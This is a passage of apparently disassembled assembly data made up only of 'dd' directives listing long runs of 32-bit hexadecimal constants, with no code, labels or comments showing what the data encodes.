		dd 0A041D058h, 0EEB92BDEh, 8BAFE048h, 0D4630428h, 0AE7A014h
		dd 50201470h, 0D386BA0h, 0DC05386Fh, 41C894CBh,	80E14C0h
		dd 0A6C605FCh, 4E11513h, 0A518E928h, 807FF1Ch, 8A0559D6h
		dd 4882A7E4h, 0D1A8A3DCh, 0D686E844h, 14A24974h, 0E125E780h
		dd 0E097FD5h, 1082DA59h, 444F78C4h, 0D018DBA7h,	18300568h
		dd 2894D8h, 6D2A76D6h, 5CB0D343h, 4CB6BB20h, 0F22C14F6h
		dd 0D38B12C0h, 56D80388h, 4E1A2D26h, 51B0DBF5h,	18B27994h
		dd 1BE700A3h, 0C32AC043h, 0A11AF240h, 4603512h,	0F8D9838Ch
		dd 2CF014F8h, 70DC9B10h, 1400B9ADh, 0DCC067D7h,	0A4E8E113h
		dd 7E8618B0h, 0C57D296Eh, 35650700h, 5D33DEA9h,	0AEC680FBh
		dd 55DDF315h, 20809FB8h, 96E66771h, 51050446h, 8857D81Dh
		dd 130A4C38h, 985EF370h, 34ED409h, 56F2D21Ch, 63F080E9h
		dd 783D0D3Bh, 18CA01F0h, 171A0BDBh, 0E804DC44h,	93218143h
		dd 98810462h, 8400AAD3h, 4C261CDDh, 0A513B0B5h,	0A411040Fh
		dd 0F4B4B12Bh, 42504E8h, 81EFC0EDh, 10EB8D24h, 13DF0B3Dh
		dd 47B89ECh, 97581748h,	73438064h, 8E7C2083h, 0CD2E3F00h
		dd 2B3C13B4h, 0DAFE24D9h, 0C1EE40CCh, 18D3DCAFh, 88B01880h
		dd 2CB248A6h, 2C14CAh, 4F0133CAh, 7E00AB49h, 65BD1272h
		dd 1217267Ch, 40EB8815h, 220FF3E0h, 0A112864Ah,	0D44E0DECh
		dd 6BFC4275h, 3020C003h, 701280E7h, 19A6A720h, 0E10923A4h
		dd 0BC5468D7h, 0A81F8CE4h, 0E84018C6h, 34832C68h, 11A4007Bh
		dd 0E3722798h, 6F297892h, 1481B0B4h, 0C464ADE5h, 5E4410AEh
		dd 0F8008446h, 5B9EE4CDh, 8103C6AAh, 0DAEA9B2Bh, 0C893B407h
		dd 0E1D02368h, 0C015043Fh, 0F8629274h, 1599CF20h, 80FB4881h
		dd 180D3110h, 2C21F270h, 30CE0339h, 85256C7Ah, 361104D1h
		dd 0DDD064A4h, 8F380D8h, 0CADEA12Ah, 2E89370h, 0FF1FAE2Ah
		dd 6C4031EBh, 691D27A5h, 74EC892Bh, 22034089h, 70047EA4h
		dd 26A003C8h, 0D523BF3Fh, 4FEC4B8Dh, 546D0C04h,	947001F3h
		dd 1DDCB8DEh, 0B6E71620h, 0CA690084h, 0B32A8A90h, 5107CC96h
		dd 0E566E4FBh, 642E1048h, 10D84C6Fh, 700445F4h,	0C00963CBh
		dd 0A25B5000h, 24D58106h, 22047E0h, 0D7A9E50Fh,	209C21BAh
		dd 2061223h, 544404DFh,	9BDAD400h, 0DC90C998h, 19681F00h
		dd 0B64814EDh, 0A00C2DD8h, 307FD634h, 0EFE0717h, 0C3182B4Fh
		dd 6959043Dh, 585083F0h, 9AF7C174h, 5BF91087h, 8BDCCA22h
		dd 18CEA56Fh, 0DF7804B0h, 1CE7242Eh, 8475B842h,	74F399F0h
		dd 43C30E0Ch, 27395C59h, 5FDC989Bh, 0C77A7480h,	4966E1E8h
		dd 1D49C002h, 8ACD4860h, 0FC5FA107h, 28D510F5h,	0A968BC92h
		dd 0C7C082DCh, 8CB20786h, 7F78D419h, 2E5CE403h,	4DAEDA88h
		dd 0BC4CE820h, 23882E4Fh, 14E3004Dh, 0A3D44B83h, 80FC1A00h
		dd 3824DF61h, 91D89EB0h, 158A80EAh, 8CFA74C5h, 0C8E244h
		dd 74891582h, 4685A680h, 98AA4C2Eh, 5542B08h, 0D47913E9h
		dd 5C08D2B8h, 0A726FB20h, 0A97F1B0Bh, 81AC50E5h, 10871750h
		dd 941D8896h, 0F3408A0Ch, 760D08B4h, 9004DE04h,	79BF0092h
		dd 184179B4h, 1E2501C4h, 0DB5891BDh, 4FC85280h,	0AD00A4DAh
		dd 0AA36E465h, 17133FAh, 5DD1EA96h, 80DE5930h, 95C051C9h
		dd 99EDA056h, 1C7200C4h, 42E81485h, 0DC857C94h,	0C21F0C62h
		dd 5D42206Eh, 98A4C091h, 788C8058h, 0ADA8B10Bh,	283C07EEh
		dd 18003E88h, 5D119347h
		dd 740966FFh, 268943CBh, 9E293D78h, 0E04674B8h,	65E80400h
		dd 88EACFE1h, 72865D03h, 0BAB89424h, 603C4A5Eh,	82FDE18Ch
		dd 23775041h, 2D7D14A4h, 2EE800F0h, 0ED8F1603h,	85072499h
		dd 0B81F0898h, 70B0F102h, 0C0CCCA97h, 0DAC4030h, 2AE7DBDEh
		dd 232C6440h, 740AED16h, 8145B848h, 2E99F2CAh, 853720A8h
		dd 0F432EB03h, 0E16F7344h, 1761ACDEh, 0A00BFC42h, 0FED7F0B0h
		dd 0D45454DCh, 0E110406h, 0D04AD623h, 44101D48h, 0E856D0A4h
		dd 1588029Ch, 0C7EA74C7h, 80B6001Ch, 7F405E15h,	9561A060h
		dd 0EC0826DEh, 49D00DFh, 0F52CFA63h, 98C5DD11h,	90F36E4Fh
		dd 2830AEB2h, 0E0F27002h, 72972605h, 887E4404h,	7000DBA8h
		dd 86A05F45h, 48282B9Eh, 0C73298DEh, 0FCE479F1h, 0DAEB0A00h
		dd 5E85102Ah, 0E0012022h, 0E8A4C149h, 8747048Ch, 0C189CDA0h
		dd 4F34F0h, 302BDEBFh, 0C060DD49h, 0B2A68ACh, 7C4DF8E8h
		dd 0C5FF89A8h, 60ADC4C4h, 12891D8Dh, 7F0836h, 3BF6B912h
		dd 0D85858BEh, 0E5108E8Ch, 0B8D084A3h, 62A41457h, 926A14Ah
		dd 2A096054h, 7D2C604Bh, 0DE5826A7h, 87F45D0h, 0FF92E6A4h
		dd 38E748A2h, 0A85B81C0h, 0CBC31972h, 20E1F09Ch, 0A94512B0h
		dd 99708C0Ch, 0B2590140h, 0F4BA9088h, 3050782h,	4F6F7693h
		dd 0FD7518C1h, 833B5810h, 13A88482h, 414ECD40h,	3604E8FEh
		dd 0D9C9F09Eh, 9AAD883h, 8F706A21h, 0F994CE0h, 71481201h
		dd 693B1189h, 34604856h, 42A9B9FFh, 5077963Ch, 32560448h
		dd 91D67131h, 0A064D988h, 9C389E7Eh, 5E77808Bh,	564F9C70h
		dd 51F1701h, 7C5D09D9h,	26E9A3FCh, 11003882h, 861801A1h
		dd 5A9014DDh, 0B070347Ch, 218F6BC8h, 0F911F81Dh, 25B81B83h
		dd 0C00CCC4h, 8D6FC212h, 400474E4h, 0DD36FE46h,	2E18C158h
		dd 4A384270h, 3B3A1222h, 3A5235Ch, 8CCDE671h, 367E76D1h
		dd 24B4054Ch, 38CA5C90h, 9ECA009h, 3F08CC71h, 568B459Eh
		dd 6F944588h, 88F408FFh, 2F007CBBh, 99A4428Fh, 0BA541C57h
		dd 444490C0h, 0F0005DA0h, 43F8D4E9h, 0E41ACE2Eh, 7DED18EEh
		dd 0C6974035h, 0C08FA42Bh, 6CD31716h, 0FC19B0C8h, 375500C0h
		dd 0C7B50C0Ah, 76024DADh, 0CB22F4CDh, 0B2EF0587h, 85403E24h
		dd 0FEB0229h, 28A9C860h, 0E8276554h, 0F18C40DEh, 9B51026h
		dd 0A4AC853Bh, 90A5D05Ah, 289BB868h, 80ADDF31h,	802B9F80h
		dd 357D2DE8h, 999CAC05h, 0A43012A1h, 80B1F7CBh,	0E320ED22h
		dd 0AB18C472h, 0CDE1008Ch, 0B8BBD844h, 0ADB320D4h, 650CF300h
		dd 9716D2E0h, 56B42E88h, 60D844CCh, 23A42AEEh, 4C11E2DEh
		dd 37F962Ch, 435B1E6Bh,	0EEBFB1A0h, 474A8F7Ah, 67885088h
		dd 0C1E9315Fh, 343114F6h, 75052230h, 0B11740EBh, 44EC3CE4h
		dd 231774F8h, 0ACD19B63h, 0D46D6562h, 0EB1D511h, 29DB3712h
		dd 6818213Ch, 0C347B60h, 9CC4357Eh, 0BF78F028h,	318EA940h
		dd 9641987Fh, 0F378408Fh, 0CE508D11h, 51C707C0h, 6F820CD7h
		dd 0E7B49087h, 0F0D48175h, 6389917Fh, 8BC60029h, 5C7D5948h
		dd 22EAB525h, 57BABD0h,	0FB04E47Eh, 271A2101h, 6F7012F6h
		dd 2409387Ch, 0D802C922h, 0FB044CB9h, 64BE0880h, 0D198B9D8h
		dd 0CC18E5h, 0B6BD34E1h, 0E8F8ACD8h, 2E8C4D09h,	54E88511h
		dd 40FD8CC8h, 704C9628h, 33DE8194h, 4011FA3Dh, 9EC6D2Bh
		dd 0B0BC67FCh, 164AC024h, 8BD3DF8Fh, 0D896001Ch, 4DA604Ah
		dd 282002C5h, 0D17E5DF5h, 0B4ACC8D9h, 0C006213h, 0D54A0764h
		dd 1198601Ah, 16DCB187h, 1C72CE1Fh, 64BC4765h, 5217F05h
		dd 612BBE78h, 7E9641B1h, 6EA45357h, 606E884Eh, 0BDA01E00h
		dd 295C4D96h, 6BCA6E00h, 0B026FB4Eh, 24D712F2h,	9E50476Fh
		dd 0FEC8C0E7h, 685A07D5h, 9500647Ah, 81354D8Dh,	0A44D7507h
		dd 4D78950h, 0E149EB50h, 49E37004h, 0D28C8999h,	158A125Ch
		dd 30B3A2h, 0E7D6FE95h,	95672834h, 70652489h, 156EDD85h
		dd 78DC2C37h, 114B4336h, 8507541h, 0E549444Ch, 86BC5E49h
		dd 4410587Ch, 0DCBC99B0h, 0BEE0D150h, 0DE468504h, 7274F43Ch
		dd 0F090E6E4h, 42F5244h, 98FB8311h, 4888E3EFh, 231C00B4h
		dd 0E8621059h, 0E8DE8968h, 61CBF4F9h, 88900E07h, 2B7282D5h
		dd 180094B3h, 4F4E70EDh, 0BF282066h, 0BD3213DEh, 84C640FFh
		dd 5E416A84h, 974D741Ch, 4CD71430h, 4E9886Ah, 18E7BBA0h
		dd 2DCC4303h, 30F01098h, 2A003840h, 86C12E97h, 280712F8h
		dd 549CF18Ch, 27DCB468h, 0F061D52Bh, 608ED270h,	4163F607h
		dd 0BC8AF7D3h, 763864C8h, 0DE340853h, 0AE2AF0C1h, 4018D2E9h
		dd 5E99088h, 0B415FB2Ah, 0AAAC8378h, 0A413F17Eh, 481F906Bh
		dd 28B18B48h, 0EE2922DCh, 90D2FE12h, 4A66853h, 23BB82E0h
		dd 92FEDC3Dh, 0EC04AD9Ah, 712F681h, 5845CD34h, 0FAEBA005h
		dd 0DD198420h, 2285B1Ch, 0A4BD14E0h, 2920A464h,	637024ECh
		dd 778C8724h, 54628026h, 0EC9627DCh, 26FB465Eh,	6101905Ah
		dd 65DC0D42h, 6AF8A468h, 2F6AE48Fh, 4ECE4B03h, 7800EC7Eh
		dd 0E076D7F0h, 90A6FEEEh, 6E515B50h, 220071B4h,	0B4CE655Bh
		dd 91DFF42h, 0DC0E5D77h, 14F66CF8h, 2049F827h, 2824869Ch
		dd 0A5589443h, 78E7748Bh, 2160AC44h, 810277E9h,	0C1B75CAFh
		dd 807C7C7Eh, 31A061D2h, 200063EEh, 0CBCCC3CDh,	14ED6DB4h
		dd 74DA594Fh, 7A75D802h, 0BF4010F1h, 0AA000719h, 0CC90F389h
		dd 0F343BCFh, 4415442h,	0BC366883h, 0A588C3h, 54A59D08h
		dd 0FEE8371Eh, 3533500h, 19BC94C2h, 0B43A0E23h,	4A8C22E9h
		dd 0FB007921h, 0DDDC95C1h, 3A428D36h, 33861727h, 849E7A5h
		dd 0C6FE3Ch, 3EED4452h,	12DAEDCh, 8DF37229h, 0D87F763Ah
		dd 590124C6h, 943033A0h, 4F0633Fh, 0B7BD3745h, 0C8EC368h
		dd 0A3FA5900h, 458072E3h, 9D4F0E5Ah, 0BACC74B5h, 9F20BC41h
		dd 8E10C650h, 57003912h, 0A4F5D040h, 321570h, 0EE736B91h
		dd 8C7913ECh, 0FC303539h, 18AC8401h, 3F1E0478h,	4096E99Dh
		dd 0DCE81457h, 0EE00F011h, 0C0C198F1h, 70D1Ah, 964EFE39h
		dd 68CC5A36h, 1489A8A0h, 620F9538h, 0C1C8A28h, 5C0C8810h
		dd 2860E05Ah, 34A0015Dh, 4237FE0Dh, 85C440A5h, 0B9C0028Dh
		dd 0FFF6901Eh, 578A0687h, 87A7FA9h, 40211A61h, 7FF688h
		dd 8354F0ACh, 5C1545FAh, 3FC048E8h, 0CAAB00AEh,	34BF0137h
		dd 118D00ADh, 0FA60505Eh, 2605A7ECh, 52F7BC28h,	42369C01h
		dd 55103D29h, 0B654BB45h, 0A448DC4h, 0CD88007Fh, 5AE771F6h
		dd 0AE00FC51h, 0C35904BAh, 0DE29AB8h, 0F8E3909h, 8890FB31h
		dd 0A3007F4Dh, 0B88B8F1Fh, 663FB77h, 0E82A1335h, 9B03B162h
		dd 4C8C7CB4h, 4ACAE2C0h, 838C0464h, 0FDF68E60h,	117A8723h
		dd 863E0015h, 0AB013F6h, 0D5303CEBh, 0C9B31C18h, 0E8009962h
		dd 0DD6B6732h, 0EDD821h, 6CABD169h, 0F06C039h, 0E7F5D8A0h
		dd 0A7994660h, 0B828E2h, 0A6CF09F8h, 860FD225h,	0C8372E01h
		dd 3DE935C6h, 128DF988h, 0FC44F287h, 0E614D30h,	0BA4E1DF0h
		dd 990A00FAh, 6ADFE2ABh, 142E9439h, 6C04793h, 833A328Fh
		dd 0BBF339F9h, 5030B43Ch, 1F05B689h, 0B066B506h, 30695B8Eh
		dd 482140E7h, 5E03AC73h, 4FB8375Ch, 842EE020h, 6C1648D2h
		dd 5A18323Ch, 0F50D619Bh, 9412A4F4h, 9C20442Fh,	0C039E6FBh
		dd 68915551h, 0A706BF5Dh, 77B702C9h, 7B488008h,	0AE680089h
		dd 9D189BB5h, 8AE6D7FCh, 0CCE0CB3Dh, 66B4173Ch,	0B387B00h
		dd 2842F684h, 0A0C4FF2Ah
		dd 12BC4678h, 0E4AB03Ah, 5999E688h, 0E4D0FB6Eh,	0F9077F73h
		dd 30E58414h, 4967D410h, 92DE83Eh, 471E9A95h, 0BEFFD420h
		dd 2800D785h, 70A06B7Ch, 19BDD10h, 0DB07B52Ah, 208AB374h
		dd 1B405EC8h, 0B95806FEh, 101E66F0h, 0BA0DA50Ch, 18BC516Fh
		dd 98428C32h, 2809BB8Bh, 843BD288h, 4605594h, 0BC2195C2h
		dd 0FC7AC021h, 0B87ED6C1h, 0C05FBD06h, 470099Eh, 1D0D8A0Bh
		dd 0B43300B2h, 91C101BDh, 0F0648E7Ch, 0BF4F0420h, 136196D0h
		dd 0CEB4A438h, 0BE9CE850h, 0CBFE189Eh, 65B8A1C3h, 39BB0E15h
		dd 53681064h, 0CF22873Eh, 0CC42640Bh, 0BB001362h, 9E2EE05Ch
		dd 0CB890AA5h, 12E0B1D4h, 0C3183732h, 19F608C3h, 8873A22h
		dd 0C774CAFFh, 0CE269900h, 0D2A20F3h, 0B1B845BFh, 0B7F020E1h
		dd 0C0F44041h, 681550A6h, 441E88D2h, 0EE28B9C3h, 6E46C887h
		dd 43293D58h, 3BF400F8h, 3C91194Ah, 60B2642Ah, 0C9355709h
		dd 0CEDC209Eh, 0D4539FB3h, 3C88A068h, 9A49C09Ch, 0FFC8A02Eh
		dd 0F2692F4h, 259BB0E7h, 0C3105414h, 0C8C10649h, 48311D6Ah
		dd 66282002h, 31FF2A08h, 10C31098h, 0B81C18BBh,	0F384EF1h
		dd 84944905h, 0F4C3B5E0h, 4007A0BFh, 6B6C2D9Ch,	92680C37h
		dd 60809F3h, 1A13D002h,	0C2CCB890h, 38342A84h, 9CEB18E4h
		dd 9DB618BCh, 61B4FE50h, 0F8A0E098h, 0B4A84794h, 2726B935h
		dd 26014CEDh, 0F1F5AFC0h, 0CF01694h, 907CA724h,	3ABE04A9h
		dd 0D2204E9Ch, 18BA599Ah, 57A020h, 0A408277Eh, 2A4332CFh
		dd 0E70A7899h, 5680B444h, 0F89F57C8h, 4AEB00AAh, 394CBBEDh
		dd 0B4B01A1Fh, 0FF232814h, 0AC808C8h, 82503407h, 8C30F640h
		dd 0BF581168h, 8051887Fh, 0D7688476h, 7D011D36h, 4E9FA280h
		dd 21803DE8h, 15F82E6Dh, 707C252Ah, 8D209499h, 10FF1400h
		dd 0AFB9C282h, 4B304865h, 888022Ch, 0A88049A7h,	50F381AEh
		dd 33B8A0B7h, 86183819h, 0BEE30E1h, 2AB424ACh, 384A0820h
		dd 4620D38Bh, 5A783200h, 1C62B68Eh, 0FE20C048h,	51F54AA9h
		dd 0EF8820A7h, 2642C243h, 640180C4h, 0B80BFEC1h, 88817775h
		dd 848FB49Ch, 0FAE4D51Bh, 6A02C48Bh, 0EC6441DFh, 1B2E2E78h
		dd 0D64904Eh, 0AF7BCE40h, 2E0040EEh, 65AADEE8h,	0B0FE879Fh
		dd 0F83A1394h, 8614223Ch, 912EC4CCh, 92166BF6h,	201BC462h
		dd 0D5F68941h, 8391013Bh, 5AACD0D4h, 0B745F980h, 98337C24h
		dd 0BE963E14h, 6856FC98h, 0D4A842E7h, 81000220h, 824F54A6h
		dd 0E83B7CFAh, 0BC97254Eh, 3C987412h, 485C93DFh, 0EC2300E4h
		dd 5674B4B7h, 66F2EA4h,	6089E4B4h, 2303F694h, 1711AA88h
		dd 0F68C4407h, 9E0FF0C8h, 0E7280B9Dh, 0C720A8F4h, 64249955h
		dd 180853BEh, 0C202C053h, 1146BC93h, 78004E22h,	6DA2C1FAh
		dd 7E88E2E5h, 67DF06B2h, 6022AEB8h, 172BA0A0h, 98A79898h
		dd 0C1604E44h, 0EE26D565h, 0B0121CF6h, 2005B492h, 2F0111D3h
		dd 1C57D71Ch, 788021F4h, 0C0A81B87h, 0F958C511h, 53062E8Dh
		dd 4326375Ah, 21C06008h, 0DDF950E7h, 1652BB00h,	7DF17FB0h
		dd 17927FB3h, 4170B8C3h, 3EF62698h, 8612F43Ah, 0FEA0BE05h
		dd 5491CBEBh, 70669BE4h, 50165C4Ch, 66682849h, 53743210h
		dd 5412C53Eh, 0ACD851A7h, 2E97B401h, 21D90CB9h,	0C01C04E8h
		dd 34EE82BCh, 849528CEh, 0D4933C5Ah, 1FA8105Fh,	100C4CE5h
		dd 86254DF3h, 0B30098B7h, 2FAB0B06h, 0FFA6169Eh, 28FB13BAh
		dd 4C48B3B4h, 1F9325BCh, 80141180h, 0B3F06605h,	0FCFC5D6Bh
		dd 241A9CD0h, 0F08479B7h, 0CB310146h, 188EB4A0h, 4509A49Bh
		dd 597F1CA7h, 8A43741Eh, 1DAC8C59h, 7BBCC602h, 5B70BE8Dh
		dd 46382820h, 0F9570286h, 314B2E8Ch, 4FE610C2h,	389B00F9h
		dd 9930468Ah, 0BB124886h, 0E490E85Dh, 4974BE87h, 0CE814058h
		dd 55485B93h, 23D83AECh, 0FBF0350h, 0D3F301ADh,	0ED0EB1F8h
		dd 3C84B42Eh, 0B6B85E40h, 4BE0B912h, 89585C0Eh,	0E0A8108Dh
		dd 17FE5C51h, 0F124E801h, 6E58F4BEh, 0FE6ADF30h, 0C0853907h
		dd 30880492h, 653AEC80h, 0A871742Eh, 2AAC07C9h,	5F0C43B4h
		dd 9D8A3170h, 81BB11E8h, 2EEEEC74h, 0BA85242Dh,	9388403Eh
		dd 0A84FB90Bh, 100B80E8h, 0B25FF3B3h, 432882D0h, 0D71F0140h
		dd 5A61849Bh, 788824E4h, 8F288C84h, 8248DFF6h, 0E83FE378h
		dd 24AC3DF6h, 2CE889C3h, 0AAF061F8h, 8D390704h,	54709224h
		dd 0EFFD1730h, 98E10AC5h, 67C40894h, 23B75E00h,	58C680E0h
		dd 53C3948Fh, 7988C218h, 0FE007B06h, 6392664Fh,	3094F285h
		dd 88791B8Eh, 5A14C109h, 7A681C99h, 0F6933B8Ch,	38A258FAh
		dd 0F68B43E0h, 0C6ADEE1Eh, 9C55873Dh, 27954EDh,	9199B15Ch
		dd 561885E0h, 2E8BF908h, 40BDC443h, 98F94EE5h, 0D0D11B30h
		dd 49E72E04h, 0BE11041Dh, 0E2F32380h, 95123A86h, 38D01EFBh
		dd 5193703h, 9BCED198h,	8FF44953h, 7484AC08h, 79021246h
		dd 0C1ECC388h, 24205864h, 0F50D075Ah, 0E1F2300Ah, 62076EC0h
		dd 0CE421090h, 0B903F50Eh, 7562604Fh, 0F7801E89h, 0C958CBFDh
		dd 519850D9h, 870F826h,	1BC91C2h, 76404CC4h, 0BF52C1F8h
		dd 88AF5100h, 5EBE0B86h, 0F6C4B8E7h, 206A35B8h,	8824CF88h
		dd 0C42FE0Ch, 3C425CF0h, 9743749h, 68DAD0C1h, 402B8B9Ch
		dd 1C4E975Bh, 0B19E4C40h, 1F9B73D2h, 3A193A0Ah,	63947F83h
		dd 7058F68Ah, 4E506039h, 40EAF059h, 0D75C3009h,	1F52350h
		dd 0BF57688Bh, 0B0E82877h, 688375h, 52F0901Dh, 360C9B1Fh
		dd 0B4BB2812h, 328678C0h, 6013339Ch, 2EF9C1A8h,	0F5B8D302h
		dd 83617987h, 7821B420h, 50B1910Ch, 40184CD1h, 882B3800h
		dd 8C30A893h, 0A8E8AB13h, 9F0DBEDh, 0E7FF3A72h,	0F4595CE9h
		dd 127CDE65h, 0DF9D3100h, 0D6B4C13Ch, 1CB60219h, 672AA87Ch
		dd 0F7F8C850h, 0EC415441h, 3000ED23h, 0E1C0DBBCh, 4F2EF4B6h
		dd 809362A0h, 18813BBFh, 63072B82h, 30C1B294h, 2000A93Ah
		dd 0B66CF3E7h, 208EAED3h, 0BC3E3607h, 0E6037A38h, 0E8085D21h
		dd 68E10047h, 57E0EBB8h, 0C300656Bh, 9502A384h,	0A7ACA1h
		dd 583C9DFh, 691D1FB9h,	0AC16606h, 75F1FB06h, 41394B9Ch
		dd 0A793D040h, 6710835Ah, 0C0EFAF0h, 4DFF0DD0h,	0D3152770h
		dd 12FCB870h, 242085B4h, 9878EA44h, 0B25420E8h,	1C42BC13h
		dd 0F0049085h, 0DA25C26Ch, 39809FC0h, 0BBBD38B2h, 67D104BCh
		dd 0F41C3EC8h, 22411B58h, 40826C30h, 8314CE0Dh,	0A4D05687h
		dd 0DA2D84C0h, 50897EFDh, 8C8BD84Bh, 91F95C04h,	0B962732Eh
		dd 0F954EB20h, 846C1220h, 4338C487h, 401DFED4h,	0B244B900h
		dd 541EAC8Ch, 0D9700421h, 827F6AB1h, 0E529F8D0h, 50919178h
		dd 0AF209430h, 0B3451A52h, 0D86081ABh, 97805747h, 303218BEh
		dd 0C23B5052h, 0B638C8A4h, 0E0986C6Ch, 59048C88h, 5B2E8EF9h
		dd 0E800488Eh, 504FF951h, 1D0055E3h, 0B0B61702h, 641FD630h
		dd 8184A152h, 65B398h, 32623E8Fh, 0CC8948D0h, 64102819h
		dd 6F271D38h, 426498C1h, 0A001542Eh, 0BF2504B0h, 903F603Ah
		dd 2A43061Ch, 27858496h, 64B0D4CBh, 3EF1F8C0h, 7E388E25h
		dd 8C86924h, 0A42654D7h, 6FC4A025h, 601CF89Eh, 0B098E1B5h
		dd 580090DDh, 7BF6A5D9h, 761F4E68h, 0B1E5F48Ch,	0B0F9F814h
		dd 0B0F9C28Fh, 70172517h, 0FA8E5091h, 643B7200h, 0FC02905Fh
		dd 8BC8AC23h, 3F5C48ABh, 25A624B8h, 142440h, 5B8E8198h
		dd 7416EA45h, 0D898C160h, 80FA00B6h, 289BD438h,	0D0A135F7h
		dd 0F389106Fh, 0FAB440CCh
		dd 5766FCF8h, 0B92035F1h, 181A7924h, 0C220576h,	74B2BDh
		dd 0FE8A7880h, 10B6901Ch, 7B9BA607h, 0E41F1F58h, 98D43A0h
		dd 8034493Ch, 0DCEDC5CAh, 4DB44A2h, 0D03099FCh,	0F80C8D91h
		dd 9B00B9CEh, 39CAB1BCh, 0B29599h, 0A9FF27E3h, 2E82069Ch
		dd 47883550h, 6C71E89h,	40626671h, 7F00F054h, 0BF11F208h
		dd 619F1C4Bh, 8A0B60EFh, 0C465E909h, 410B67F5h,	60A4F382h
		dd 4C1A3354h, 0C2110808h, 4F720010h, 0F689F883h, 68230EBh
		dd 3F842ED0h, 0C30250BEh, 0C0A072D0h, 24D2A454h, 8608B91h
		dd 0A79D4553h, 20894ECAh, 8C9D6178h, 3FE7FC19h,	0F681F7E1h
		dd 0B75D3617h, 2B8CCDEBh, 0FA810023h, 5A3C0D3h,	926F023Dh
		dd 0E9A9F223h, 0FD801C45h, 7D3FC527h, 201490FCh, 9209A70Ch
		dd 2238828Eh, 2A74C320h, 228102F0h, 48A0AA07h, 0A625D5F9h
		dd 0AFB55804h, 9C828A66h, 3E545879h, 0ABB1EB87h, 241B1C40h
		dd 11608D10h, 8F3089B1h, 7E740050h, 0E0A1B410h,	62001935h
		dd 6FE580D6h, 3D2699C3h, 2BDCDED1h, 8FBDBB0Bh, 496434E7h
		dd 216E2B61h, 0BC0C3CB3h, 2A138C4Ah, 0FC20B445h, 404F93CEh
		dd 0B82EBF44h, 0D040501Fh, 1F2EC9Ch, 3267A0C2h,	0AC4F6F84h
		dd 5A09CF28h, 0FEE46479h, 5B083F3Ah, 2E810278h,	9882B43Bh
		dd 9B02B878h, 0F9F580BFh, 32E08637h, 0B8FB0919h, 4C0E237Eh
		dd 0EB8866C0h, 35099B4Dh, 48053EE9h, 996B80F4h,	30F02C0h
		dd 0B04A339Eh, 80693286h, 0BB887505h, 0AC029320h, 58D82AF9h
		dd 9E450120h, 221751CEh, 3C98E833h, 7D897CBCh, 753860DDh
		dd 0BF060FFEh, 0C89C595h, 0FB601C62h, 62025C60h, 2CEBFE6Bh
		dd 2C2444B8h, 41286E49h, 50E842C1h, 5BA05188h, 0B918FB60h
		dd 0A4367465h, 9E3F0248h, 118609CBh, 1C49F802h,	9439D0C4h
		dd 9E024A28h, 0B6A38CD7h, 29209E32h, 1C88D38Ah,	89030EC0h
		dd 40F14285h, 0CFA43354h, 9254D0C1h, 2246CFCh, 0FC851837h
		dd 0B497B176h, 300B8C8Ah, 94B846AFh, 8908B2F8h,	0C08638A5h
		dd 8EE93410h, 94A459C2h, 0FCA8E93Ch, 4EAFC4Ch, 4A2ACD66h
		dd 6CE0491h, 9F75FF3Ch,	189CB0C9h, 0A6311A28h, 0AC427160h
		dd 53BE7B50h, 0B4177CECh, 0ABF0331Fh, 120CA946h, 0C0931BDEh
		dd 0F5CAC334h, 0B08C080Bh, 16F95D80h, 8B7B2E92h, 55EC005Ch
		dd 0B62F25F9h, 1ACB009Ch, 856B77A6h, 0E449C32Ah, 0AFED022Ch
		dd 9740CC48h, 80C11130h, 8FE928BDh, 13F00011h, 0B90BD9C9h
		dd 0A8A0E77Ah, 795C54F8h, 9FF20BFCh, 0CC1C404Fh, 19AE804Eh
		dd 0FE09950Ah, 1B44A06Bh, 1714C8h, 0BA20BE9Ch, 0FF0AC103h
		dd 0A0B90D27h, 18323408h, 6248C347h, 195C58BFh,	8CBEE814h
		dd 6F24F4F6h, 8804ED98h, 0C89060D3h, 0B24C3ABCh, 7BA0B088h
		dd 38418A9Ch, 0B8B9828Dh, 821F8EF0h, 430DA6D4h,	6C915C8Ch
		dd 7E0B4920h, 0C89839F3h, 0E96D8310h, 0F0BF9B03h, 0B1CB00Dh
		dd 64AD36E0h, 9C4546C0h, 0A96709F4h, 0D859C20Dh, 0D08C3A0Fh
		dd 29113102h, 0F456BED8h, 72013F1Fh, 0C29A09ACh, 81097473h
		dd 0C1D37FAh, 0AD80BE11h, 0B3835ED9h, 0BBAFFD06h, 21AC1Ch
		dd 1D136931h, 0B678844Ch, 453AA07Ch, 4E8EC4B7h,	1D0890DAh
		dd 0AFE4F999h, 943190B0h, 8CE7C066h, 3A225C72h,	851CB501h
		dd 89EDBCA1h, 18B1C470h, 21D7B7C5h, 8DEA432h, 61F0265Eh
		dd 18F36902h, 30928A68h, 34441E53h, 0EC260990h,	6001551Ah
		dd 655DB6C1h, 8C6C47C4h, 7D86BF19h, 12F67102h, 0D09783CEh
		dd 6577EA78h, 3801C132h, 8052910h, 92A498FCh, 0BF5E6808h
		dd 414DC4AFh, 0C4688A7Ch, 1B3B8BDCh, 0A938B90Eh, 7C8C1E5h
		dd 91DFD38Dh, 6164F58Bh, 0BEAC5CD9h, 94637024h,	0FBA10BC7h
		dd 30295ED6h, 0A3AB600h, 973B46FAh, 43F6260Fh, 0BBD320EEh
		dd 283F5FB9h, 7CC67ECh,	33041C20h, 0FA265036h, 0F2018B9Eh
		dd 6C3DAB54h, 89FA9384h, 99EC1180h, 0B4C32C22h,	21033A8Ch
		dd 0F167ED9Bh, 8094D996h, 0B8AAE0h, 5F1CB764h, 65BE97E3h
		dd 64CB694Eh, 7CC31988h, 873AA0FBh, 28A72597h, 70088C9Fh
		dd 462C42A9h, 85476710h, 87120C8h, 34A1A068h, 20C20459h
		dd 9574908Ah, 5E88FAF6h, 45542CB2h, 4BF68D02h, 5E1CA193h
		dd 0C19C808Ch, 0E0E70EEAh, 496BFB00h, 0B47D29B2h, 1BCA688h
		dd 0C1DDEAF2h, 54398EF3h, 2F3C01D8h, 0EBDA6B64h, 4581168h
		dd 1D78017Ch, 19A39B62h, 0C5A1F868h, 99A44707h,	94B57114h
		dd 4E800C1Fh, 720698A2h, 0C55F1D9Bh, 90F3E71h, 0A2EAA1Fh
		dd 11A29C80h, 0EF2A56Bh, 539D6D00h, 989A6E08h, 0A228C318h
		dd 611C67C5h, 0A4FA53Fh, 0D3A60360h, 0A0A0C361h, 129B8A1Eh
		dd 7A16D06h, 0E1AB6EFAh, 0C5400BAFh, 0F256E5C5h, 6ECD0481h
		dd 72609FA8h, 50F97600h, 6FE85E82h, 9E86D11Eh, 0AD74809Ch
